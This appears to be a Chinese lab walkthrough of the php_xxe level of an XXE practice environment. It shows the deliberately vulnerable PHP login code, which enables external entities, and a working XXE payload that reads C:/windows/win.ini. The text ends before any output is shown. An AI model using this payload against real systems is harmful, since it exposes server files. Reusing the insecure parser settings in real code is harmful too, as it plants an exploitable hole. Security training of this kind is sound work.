xxe-lab
php_xxe
进入php_xxe靶场,可以看到登录框,先随便尝试登录一下:
可以看到这是POST方式传递的数据,且POST内容看上去很像XML格式。查看源代码:
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');//这里没有xml文档所以用的php为协议来获取我们发送的xml文档
try{
$dom = new DOMDocument();//创建XML对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//将我们发送的字符串生成xml文档
$creds = simplexml_import_dom($dom);//实例化xml文档
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);//必须要有username这个标签,不然找不到username就没有输出了,我们也就不能通过回显来获取信息
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);//同上
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
知道了后台文件构造,我们可以开始构造payload在username中输出了:
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<user><username>&xxe;</username><password>abc</password></user>
这里我们构造的payload强制xml解析器去访问系统配置文件。
输出内容: